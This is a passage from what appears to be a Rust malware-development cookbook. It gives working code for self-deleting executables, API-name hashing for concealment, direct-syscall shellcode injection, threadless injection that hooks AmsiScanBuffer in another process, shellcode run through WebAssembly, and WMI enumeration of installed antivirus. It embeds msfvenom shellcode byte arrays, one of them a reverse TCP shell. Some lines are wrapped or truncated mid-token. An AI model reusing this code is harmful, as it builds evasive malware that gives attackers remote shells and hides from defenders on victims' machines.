            stream_wide.len(),
        );

        let path = std::env::current_exe().unwrap();
        let path_str = path.to_str().unwrap();
        let mut full_path: Vec<u16> = path_str.encode_utf1
        full_path.push(0);

        let mut h_file = CreateFileW(
            PCWSTR(full_path.as_ptr()),
            DELETE.0 | SYNCHRONIZE.0,
            FILE_SHARE_READ,
            None,
            OPEN_EXISTING,
            FILE_FLAGS_AND_ATTRIBUTES(0),
            None,
```

```
        ).unwrap_or_else(|e| panic!("[!] CreateFileW Faile

        SetFileInformationByHandle(
            h_file,
            FileRenameInfo,
            rename_info as *const c_void,
            lenght as u32,
        ).unwrap_or_else(|e| panic!("SetFileInformationByH

        CloseHandle(h_file);

        h_file = CreateFileW(
            PCWSTR(full_path.as_ptr()),
            DELETE.0 | SYNCHRONIZE.0,
            FILE_SHARE_READ,
            None,
            OPEN_EXISTING,
            FILE_FLAGS_AND_ATTRIBUTES(0),
            None,
        ).unwrap_or_else(|e| panic!("[!] CreateFileW (2) F

        SetFileInformationByHandle(
            h_file,
            FileDispositionInfo,
            &delete_file as *const FILE_DISPOSITION_INFO a
            size_of_val(&delete_file) as u32,
        ).unwrap_or_else(|e| panic!("SetFileInformationByH

        CloseHandle(h_file);

        HeapFree(
            GetProcessHeap().unwrap(),
            HEAP_ZERO_MEMORY,
            Some(rename_info as *const c_void),
        );
```

```
    }
}
```

▼ String Hashing

Creating string hashes to perform hiding.

```
fn main() {
    let message_box = "MessageBoxA";

    dbj2(message_box);
    jenkins_one_at_atime32_bit(message_box);
    lose_lose(message_box);
    rotr32(message_box);
}

// https://github.com/vxunderground/VX-API/blob/main/VX-
API/HashStringDjb2.cpp
fn dbj2(string: &str) {
    let mut hash: u32 = 5381;

    for c in string.bytes() {
        hash = ((hash << 5).wrapping_add(hash)).wrapping
_add(c as u32);
    }

    println!("Hash using dbj2 from the string {} is: 0x
{:08X}", string, hash);
}

// https://github.com/vxunderground/VX-API/blob/main/VX-
API/HashStringJenkinsOneAtATime32Bit.cpp
fn jenkins_one_at_atime32_bit(string: &str) {
    let mut hash = 0u32;

    for c in string.bytes() {
```

```
        hash = hash.wrapping_add(c as u32);
        hash = hash.wrapping_add(hash << 10);
        hash ^= hash >> 6;
    }

    hash = hash.wrapping_add(hash << 3);
    hash ^= hash >> 11;
    hash = hash.wrapping_add(hash << 15);

    println!("Hash using JenkinsOneAtATime32Bit from the
string {} is: 0x{:08X}", string, hash);
}

// https://github.com/vxunderground/VX-API/blob/main/VX-
API/HashStringLoseLose.cpp
fn lose_lose(string: &str) {
    let mut hash = 0u32;

    for c in string.bytes() {
        hash = hash.wrapping_add(c as u32);
        hash = hash.wrapping_mul(c as u32 + 2);
    }

    println!("Hash using LoseLose from the string {} is:
0x{:08X}", string, hash);
}

// https://github.com/vxunderground/VX-API/blob/main/VX-
API/HashStringRotr32.cpp#L3
fn rotr32_sub(value: u32, count: u32) -> u32 {
    let mask = 8 * std::mem::size_of::<u32>() as u32 -
1;
    let count = count & mask;
    (value >> count) | (value << (mask + 1 - count))
}
```

```
// https://github.com/vxunderground/VX-API/blob/main/VX-API/HashStringRotr32.cpp#L13
fn rotr32(string: &str) {
    let mut value = 0;

    for &c in string.as_bytes() {
        value = c as u32 + rotr32_sub(value, 7);
    }

    println!("Hash using Rotr32 from the string {} is: 0x{:08X}", string, value);
}
```

▼ Syscalls

This project focuses on the injection attack in the local process, but using syscalls directly.

```
use ntapi::ntmmapi::{NtAllocateVirtualMemory, NtWriteVirtualMemory};
use ntapi::ntpsapi::NtCreateThreadEx;
use ntapi::winapi::ctypes::c_void;
use std::{ptr::null_mut, thread::sleep, time::Duration};
use winapi::shared::basetsd::PSIZE_T;
use winapi::um::winnt::{HANDLE, THREAD_ALL_ACCESS};

fn main() {
    unsafe {
        //  msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=3030 -f rust
        let mut shellcode: [u8; 460] = [
            0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
            0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52,
            0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x
```

```
72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a,
            0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x
3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41,
            0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0x
ed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
            0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x
8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
            0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x
50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40,
            0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0x
ff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
            0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0x
c0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
            0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x
03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
            0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x
49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c,
            0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0x
d0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
            0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x
5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a,
            0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0x
e0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b,
            0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x
49, 0xbe, 0x77, 0x73, 0x32, 0x5f, 0x33,
            0x32, 0x00, 0x00, 0x41, 0x56, 0x49, 0x89, 0x
e6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00,
            0x00, 0x49, 0x89, 0xe5, 0x49, 0xbc, 0x02, 0x
00, 0x0b, 0xd6, 0x7f, 0x00, 0x00, 0x01,
            0x41, 0x54, 0x49, 0x89, 0xe4, 0x4c, 0x89, 0x
f1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07,
            0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68, 0x01, 0x
01, 0x00, 0x00, 0x59, 0x41, 0xba, 0x29,
            0x80, 0x6b, 0x00, 0xff, 0xd5, 0x50, 0x50, 0x
4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48,
            0xff, 0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0x
```

```
c0, 0x48, 0x89, 0xc1, 0x41, 0xba, 0xea,
            0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x48, 0x89, 0x
c7, 0x6a, 0x10, 0x41, 0x58, 0x4c, 0x89,
            0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x99, 0x
a5, 0x74, 0x61, 0xff, 0xd5, 0x48, 0x81,
            0xc4, 0x40, 0x02, 0x00, 0x00, 0x49, 0xb8, 0x
63, 0x6d, 0x64, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x41, 0x50, 0x41, 0x50, 0x48, 0x89, 0x
e2, 0x57, 0x57, 0x57, 0x4d, 0x31, 0xc0,
            0x6a, 0x0d, 0x59, 0x41, 0x50, 0xe2, 0xfc, 0x
66, 0xc7, 0x44, 0x24, 0x54, 0x01, 0x01,
            0x48, 0x8d, 0x44, 0x24, 0x18, 0xc6, 0x00, 0x
68, 0x48, 0x89, 0xe6, 0x56, 0x50, 0x41,
            0x50, 0x41, 0x50, 0x41, 0x50, 0x49, 0xff, 0x
c0, 0x41, 0x50, 0x49, 0xff, 0xc8, 0x4d,
            0x89, 0xc1, 0x4c, 0x89, 0xc1, 0x41, 0xba, 0x
79, 0xcc, 0x3f, 0x86, 0xff, 0xd5, 0x48,
            0x31, 0xd2, 0x48, 0xff, 0xca, 0x8b, 0x0e, 0x
41, 0xba, 0x08, 0x87, 0x1d, 0x60, 0xff,
            0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0x
ba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,
            0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x
0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
            0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x
41, 0x89, 0xda, 0xff, 0xd5,
        ];

        let handle: HANDLE = -1isize as HANDLE;
        let mut base_address: *mut c_void = null_mut();

        let mut status = NtAllocateVirtualMemory(
            handle,
            &mut base_address,
            0,
            &mut shellcode.len(),
            0x00001000 | 0x00002000,
```

```
            0x40,
        );

        if status != 0 {
            println!("NtAllocateVirtualMemory Failed");
            return;
        }

        let number_of_write: PSIZE_T = null_mut();
        status = NtWriteVirtualMemory(
            handle,
            base_address,
            shellcode.as_mut_ptr() as *mut c_void,
            shellcode.len(),
            number_of_write,
        );

        if status != 0 {
            println!("NtWriteVirtualMemory Failed");
            return;
        }

        let mut h_thread: HANDLE = null_mut();
        status = NtCreateThreadEx(
            &mut h_thread,
            THREAD_ALL_ACCESS,
            null_mut(),
            handle,
            base_address,
            null_mut(),
            0,
            0,
            0,
            0,
            null_mut(),
        );
```

```
        if status != 0 {
            println!("NtCreateThreadEx Failed");
            return;
        }

        sleep(Duration::from_secs(2));
    }
}
```

T

Threadless Injection

Performing Threadless Injection using Rust.

```
use std::ffi::c_void;
use sysinfo::System;
use windows::{
    core::s,
    Win32::{
        Foundation::HANDLE,
        System::{
            Diagnostics::Debug::WriteProcessMemory,
            LibraryLoader::{GetProcAddress, LoadLibrary
A},
            Memory::{
                VirtualAllocEx, VirtualProtectEx, MEM_CO
MMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
                PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
            },
            Threading::{OpenProcess, PROCESS_ALL_ACCES
S},
        },
    },
};
```

```
// https://github.com/CCob/ThreadlessInject/blob/master/
ThreadlessInject/Program.cs#L31
static mut PATCH_SHELLCODE: [u8; 55] = [
    0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x4
1, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,
    0x48, 0xB9, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xB
B, 0xBB, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC,
    0x40, 0xE8, 0x11, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC
4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,
    0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF, 0xE0,
];

// https://github.com/CCob/ThreadlessInject/blob/master/
ThreadlessInject/Program.cs#L17
const SHELLCODE: [u8; 106] = [
    0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE
4, 0xF0, 0x50, 0x6A, 0x60, 0x5A, 0x68, 0x63,
    0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x6
5, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18,
    0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x3
0, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
    0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x4
8, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
    0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3
C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF,
    0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x3
4, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
    0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5
B, 0xC3,
];

fn main() {
    let args: Vec<String> = std::env::args().collect();
    let process_name = &args[1];
    let pid = find_process(process_name).expect("[!] Fai
```

```
led to find the PID of the target process");

    let h_module = unsafe { LoadLibraryA(s!("amsi.dl
l")).expect("[!] LoadLibrary Failed With Status") };
    let address = unsafe { GetProcAddress(h_module, s!
("AmsiScanBuffer")) };
    let func_address = unsafe { std::mem::transmute::<_,
*mut c_void>(address) };
    let h_process = unsafe { OpenProcess(PROCESS_ALL_ACC
ESS, false, pid).expect("[!] OpenProcess Failed With Sta
tus") };

    println!("[+] Function: AmsiScanBuffer | Address:
{:?}", func_address);

    println!("[+] Patching the trampoline");
    unsafe {
        let original_bytes = *(func_address as *const u6
4);
        PATCH_SHELLCODE[18..26].copy_from_slice(&origina
l_bytes.to_ne_bytes());
    };

    println!("[+] Looking for a memory hole");
    let address_role = find_memory_role(func_address as
usize, h_process).expect("[!] find_memory_role Failed Wi
th Status");

    println!("[+] Writing the shellcode");
    write_shellcode(h_process, address_role);

    println!("[+] Installing the trampoline");
    install_trampoline(h_process, address_role, func_add
ress);

    println!("[+] Finish :)")
```

```
}

fn find_memory_role(func_address: usize, h_process: HAND
LE) -> Result<*mut c_void, String> {
    let mut address = (func_address & 0xFFFFFFFFFFF7000
0) - 0x70000000;
    while address < func_address + 0x70000000 {
        let tmp_address = unsafe {
            VirtualAllocEx(
                h_process,
                Some(address as *mut c_void),
                SHELLCODE.len() + PATCH_SHELLCODE.len(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE,
            )
        };

        if !tmp_address.is_null() {
            println!("[+] Allocated at: {:?}", tmp_addre
ss);
            return Ok(tmp_address);
        }

        address += 0x10000;
    }

    Err("[!] Memory Role Not Found".to_string())
}

fn install_trampoline(h_process: HANDLE, address: *mut c
_void, function_address: *mut c_void) {
    let mut trampoline = [0xE8, 0x00, 0x00, 0x00, 0x00];
    let rva = (address as usize).wrapping_sub(function_a
ddress as usize + trampoline.len());
    let mut old_protect = PAGE_PROTECTION_FLAGS(0);
    let mut number_bytes_written = 0;
```

```
    let rva_bytes = rva.to_ne_bytes();
    trampoline[1..].copy_from_slice(&rva_bytes[..4]);

    unsafe {
        VirtualProtectEx(
            h_process,
            function_address,
            trampoline.len(),
            PAGE_READWRITE,
            &mut old_protect,
        ).expect("[!] VirtualProtectEx Failed With Statu
s");

        WriteProcessMemory(
            h_process,
            function_address,
            trampoline.as_ptr() as _,
            trampoline.len(),
            Some(&mut number_bytes_written),
        ).expect("[!] WriteProcessMemory Failed With Sta
tus");

        VirtualProtectEx(
            h_process,
            function_address,
            trampoline.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_protect,
        ).expect("[!] VirtualProtectEx (2) Failed With S
tatus");
    };
}

fn write_shellcode(h_process: HANDLE, address: *mut c_vo
id) {
```

```
    unsafe {
        let mut number_of_write = 0;
        WriteProcessMemory(
            h_process,
            address,
            PATCH_SHELLCODE.as_ptr() as _,
            PATCH_SHELLCODE.len(),
            Some(&mut number_of_write)
        ).expect("[!] WriteProcessMemory Failed With Sta
tus");

        let shellcode_address = address as usize + PATCH
_SHELLCODE.len();
        WriteProcessMemory(
            h_process,
            shellcode_address as *mut c_void,
            SHELLCODE.as_ptr() as _,
            SHELLCODE.len(),
            Some(&mut number_of_write)
        ).expect("[!] WriteProcessMemory (2) Failed With
Status");

        let mut old_protect = PAGE_PROTECTION_FLAGS(0);
        VirtualProtectEx(
            h_process,
            address,
            SHELLCODE.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_protect
        ).expect("[!] VirtualProtectEx (3) Failed With S
tatus");
    }
}

fn find_process(process_name: &str) -> Result<u32, ()> {
    let mut system = System::new_all();
```

```
    system.refresh_all();

    for (pid, process) in system.processes() {
        if process.name() == process_name {
            return Ok(pid.as_u32());
        }
    }

    Err(())
}
```

W

WebAssembly Shellcode

Running shellcode through WebAssembly.

execute_shellcode

main.rs

```
use std::{
    fs,
    ptr::{copy, null_mut},
};
use wasmtime::{self, Engine, Error, Instance, Modu
le, Store};
use windows::Win32::System::Memory::{
    VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_
RESERVE, PAGE_EXECUTE_READWRITE,
    PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
};

fn main() -> Result<(), Error> {
    let engine = Engine::default();
    let mut store = Store::new(&engine, ());
    let wasm_binary = fs::read("shell.wat")?; // W
ebassembly file containing the shellcode
```

```
    let module = Module::new(&engine, &wasm_binar
y)?;
    let instance = Instance::new(&mut store, &modu
le, &[])?;
    let get_wasm_mem_size = instance.get_func(&mut
store, "get_wasm_mem_size").expect("Not found get_
wasm_mem_size");
    let read_wasm_at_index = instance.get_func(&mu
t store, "read_wasm_at_index").expect("Not found r
ead_wasm_at_index");
    let read_wasm_at_index = read_wasm_at_index.ty
ped::<u32, u32>(&store)?;
    let get_wasm_mem_size = get_wasm_mem_size.type
d::<(), u32>(&store)?;
    let buffer_size: u32 = get_wasm_mem_size.call
(&mut store, ())?;
    let mut shellcode_buffer: Vec<u8> = vec![0; bu
ffer_size as usize];

    for i in 0..buffer_size {
        let value = read_wasm_at_index.call(&mut s
tore, i)?;
        shellcode_buffer[i as usize] = value as u
8;
    }

    unsafe {
        println!("[+] Memory Allocation Being Perf
ormed");
        let shellcode_addr = VirtualAlloc(
            Some(null_mut()),
            shellcode_buffer.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );
```

```
        println!("[+] Copying a Shellcode To Targe
t Memory");
        copy(
            shellcode_buffer.as_ptr() as _,
            shellcode_addr,
            shellcode_buffer.len(),
        );

        println!("[+] Changing Page Permissions");
        let mut old_protection: PAGE_PROTECTION_FL
AGS = PAGE_PROTECTION_FLAGS(0);
        VirtualProtect(
            shellcode_addr,
            shellcode_buffer.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_protection,
        ).unwrap_or_else(|e| {
            panic!("[!] VirtualProtect Failed With
Error: {e}");
        });

        let func: fn() = std::mem::transmute(shell
code_addr);
        func()
    }

    Ok(())
}
```

▼ shellcode_webassembly

▼ lib.rs

```
use wasm_bindgen::prelude::*;

const WASM_MEMORY_BUFFER_SIZE: usize = 279;
```

```
// msfvenom -p windows/x64/exec CMD=notepad.exe -f
rust
static WASM_MEMORY_BUFFER: [u8; WASM_MEMORY_BUFFER
_SIZE] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,
0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,
0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,
0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,
0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,
0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,
0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,
0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,
0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,
0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,
0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,
0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,
0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,
0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,
```

```
0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,
0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,
0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,
0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,
0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,
0x74,0x65,
0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00];


#[wasm_bindgen]
pub fn get_wasm_mem_size() -> usize {
    return WASM_MEMORY_BUFFER_SIZE;
}

#[wasm_bindgen]
pub fn read_wasm_at_index(index: usize) -> u8 {
let value: u8;
    value = WASM_MEMORY_BUFFER[index];
    return value;
}
```

▼ WMI

Running WMI (Windows Management Instrumentation) queries.

```
use std::collections::HashMap;
use wmi::{COMLibrary, Variant, WMIConnection};
```

```
fn main() -> Result<(), wmi::WMIError> {
    let _com_library = COMLibrary::new()?;
    let wmi_connection = unsafe { WMIConnection::with_in
itialized_com(Some("root\\SecurityCenter2"))? };
    let avs: Vec<HashMap<String, Variant>> = wmi_connect
ion.raw_query("SELECT * FROM AntiVirusProduct")?;
    for result in avs {
        println!("Infos AntivirusProduct:");
        println!("{:#?}", result);
    }

    Ok(())
}
```